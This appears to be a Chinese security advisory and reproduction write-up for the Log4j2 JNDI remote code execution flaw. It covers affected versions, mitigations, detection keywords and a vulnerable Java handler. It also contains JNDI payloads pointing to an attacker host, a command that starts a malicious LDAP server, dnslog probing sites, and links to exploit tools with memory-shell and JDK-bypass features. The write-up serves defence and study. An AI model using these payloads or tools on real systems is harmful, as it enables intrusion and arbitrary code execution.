目录导航
漏洞描述
Apache Log4j2 是一个基于 Java 的日志工具。这个工具重写了Log4j框架,引入了很多丰富的特性。日志框架广泛应用于业务系统开发中,用于记录日志信息。
大多数情况下,开发人员可能会将用户输入导致的错误信息写入日志。攻击者可以利用该特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
2021年11月24日,阿里云安全团队正式向Apache报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2的部分功能具有递归分析功能,攻击者可以直接构造恶意请求触发远程代码执行漏洞。
漏洞利用不需要特殊配置。经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink,srping-boot-strater-log4j2等均受到影响。
目前该漏洞POC、EXP已公开,攻击危害大,利用复杂度低,影响范围广。
建议相关用户及时进行修补更新,做好相关防护措施。

漏洞级别:
严重(严重)
受影响的版本
2.0 <= Apache log4j2 <= 2.14.1
影响判断方法:用户只需检查Java应用是否引入了log4j-api和log4j-core两个jar。如果有应用程序使用,很可能会受到影响。
当前漏洞状态
细节是否公开 | PoC状态 | EXP状态 | 在野利用 |
已公开 | 已公开 | 已公开 | 已发现 |
Apache Log4j 任意代码执行漏洞
漏洞名称 | Apache Log4j 任意代码执行漏洞 |
漏洞类型 | 代码执行 |
公开状态 | 已公开 |
风险等级 | 紧急 |
漏洞ID | 暂无 |
是否在野利用 | 是 |
漏洞描述 | Apache Log4j 是 Apache 的一个开源项目,通过定义每一条日志信息的级别 能够更加细致地控制日志生成过程。 经过分析,Log4j-2中存在JNDI注入漏洞 当程序将用户输入的数据进行日志记录时,即可触发此漏洞 成功利用此漏洞可以在目标服务器上执行任意代码。 |
参考链接 | https://github.com/apache/logging-log4j2 |
谁受到影响
已经发现Steam、Apple iCloud,百度等云服务和 Minecraft 等应用程序容易受到这种攻击。许多其他人也可能是。
任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。
许多开源项目,如 Minecraft 服务器Paper,已经开始修补它们对log4j
(服务器和客户端,只需在聊天框中输入 PoC)
(提示:使用 dnslog 进行测试(无payloads),因此应该不会引起任何问题)
百度公司漏洞测试截图


苹果公司漏洞测试截图
在登录框输入poc代码进行dns查询

dns查询成功返回代码.


修复建议
1.升级到最新版本:
请联系厂商获取修复后的官方版本:
github.com/apache/logging-log4j2
已发现官方修复代码,目前尚未正式发布:
github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2.缓解措施:
(1). jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2). log4j2.formatMsgNoLookups=True
(3).系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
(4) 限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测.
3.流量查询
攻击者发送的数据包中可能存在”${jndi:}” 字样,推荐使用全流量或WAF设备进行检索排查。
攻击者在利用前通常采用dnslog方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的”javax.naming.CommunicationException”、”javax.naming.NamingException: problem generating object using object factory”、”Error looking up JNDI resource”关键字进行排查
4.人工检测是否受影响
1:相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能存在该漏洞。

2: 若程序使用Maven打包,查看项目的pom.xml文件中是否存在下图所示的相关字段,若版本号为小于2.15.0,则存在该漏洞。

3、若程序使用gradle打包,可查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0,则存在该漏洞。

from
相关EXP+POC
${jndi:ldap://127.0.0.1:1389/xxxxxx}

Log4j 漏洞的 PoC 已被发布在互联网上
github.com/tangxiaofeng7/apache-log4j-poc

有漏洞的代码示例
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
利用步骤
- 来自用户的数据被发送到服务器(通过任何协议),
- 服务器记录请求中的数据,包含恶意负载:(
${jndi:ldap://attacker.com/a}
其中attacker.com
是攻击者控制的服务器), - 该
log4j
漏洞由该有效载荷触发,服务器attacker.com
通过“ Java 命名和目录接口”(JNDI)发出请求, - 此响应包含注入服务器进程的远程 Java 类文件(例如http://second-stage.attacker.com/Exploit.class)的路径,
- 此注入的有效载荷触发第二阶段,并允许攻击者执行任意代码。
由于此类 Java 漏洞非常常见,安全研究人员已经创建了工具来轻松利用它们。该marshalsec项目是一个说明产生漏洞的有效载荷,可用于针对该漏洞的一处。您可以参考此恶意 LDAP 服务器以获取漏洞利用示例。
漏洞利用条件
- 运行易受攻击
log4j
版本的服务器(如上所列), - 具有任何协议(HTTP、TCP 等)的远程访问端点,允许攻击者发送任意数据,
- 端点中记录攻击者控制数据的日志语句。
漏洞复现
github.com/cckuailong/No-CVE/log4j-2-14-1-RCE
启动恶意LDAP / RMI 服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
工具地址:
github.com/welk1n/JNDI-Injection-Exploit

连接启动的恶意server
${jndi:ldap://127.0.0.1:1389/xxxxxx}

Apache官方的 2.15.0-rc1只修复了ldap利用,没有修复rmi利用,然后又紧急发布了第2个补丁2.15.0-rc2
log4j2 jndi rce漏洞分析
github.com/pen4uin//vulnerability-analysis/log4j2
漏洞分析
根据流传的payload搭建测试环境
log4j_rce.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j_rce {
private static final Logger logger = LogManager.getLogger(log4j_rce.class);
public static void main(String[] args) {
logger.error("暂时打码处理"}");
}
}
一步一步跟进,最后跟到
org.apache.logging.log4j.core.lookup.Interpolator#lookup

似乎就是这里,测下断点,调试

答案呼之欲出,lookup + jndi!
其实这里可以触发的不只是error,默认情况下fatal也可以,即便实际的业务场景肯定会有所不同(只会更多)。
漏洞复现
起一个恶意的LDAPRefServer、恶意类Evil

然后触发即可

公共dnslog平台:
ceye.io
dnslog.link
dnslog.cn
dnslog.io
tu4.org
awvsscan119.autoverify.cn
burpcollaborator.net
s0x.cn
https://log.咕.com/
漏洞复现视频演示
https://www.bilibili.com/.k=VzzoaYK
漏洞靶场
http://vulfocus.fofa.so/#/dashboard?image_id=..
在创建此帖子时(2021 年 12 月 10日),log4j-2.15.0-rc1
此处提供了一个补丁.
参考
https://github.com/welk1n/JNDI-Injection-Exploit
JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
https://github.com/feihong-cs/JNDIExploit
A malicious LDAP server for JNDI injection attacks
https://github.com/0x727/JNDIExploit
一款用于JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。
https://github.com/welk1n/JNDI-Injection-Bypass
Some payloads of JNDI Injection in JDK 1.8.0_191+
https://github.com/wyzxxz/fastjson_rce_tool
fastjson漏洞检测辅助工具, JNDI服务利用工具 RMI/LDAP,支持部分场景回显,内存shell等,也是log4j rce 命令执行辅助利用神器
https://github.com/mbechler/marshalsec
Java Unmarshaller Security – Turning your data into code execution
https://github.com/mrknow001/fastjson_rec_exploitfastjson
一键命令执行
Log4j:
https://github.com/tangxiaofeng7/apache-log4j-poc
Apache Log4j 远程代码执行
https://github.com/Al0sc/Log4j-rceLog4j-rce
https://github.com/Marcelektro/Log4J-RCE-Implementation
Basically run this (replacing the ip and port to the server in this repo): ${jndi:ldap://127.0.0.1:3710/a}
https://github.com/notrhys/Log-4J-Exploit-Fix
A simple plugin that prevents the Log4J exploit that allows for RCE, IP-Logging and server crashing
https://github.com/zhangyoufu/log4j2-without-jndi
log4j2-core JAR w/o JndiLookup.class
https://github.com/LoliKingdom/NukeJndiLookupFromLog4j
Selection of ways to remove JndiLookup in now obsolete Minecraft versions
转载请注明出处及链接
https://www.bilibili.com/video/BV1yZ4y197w5?spm_id_from=333.999.0.0
这个getshell 靶机的可以参考下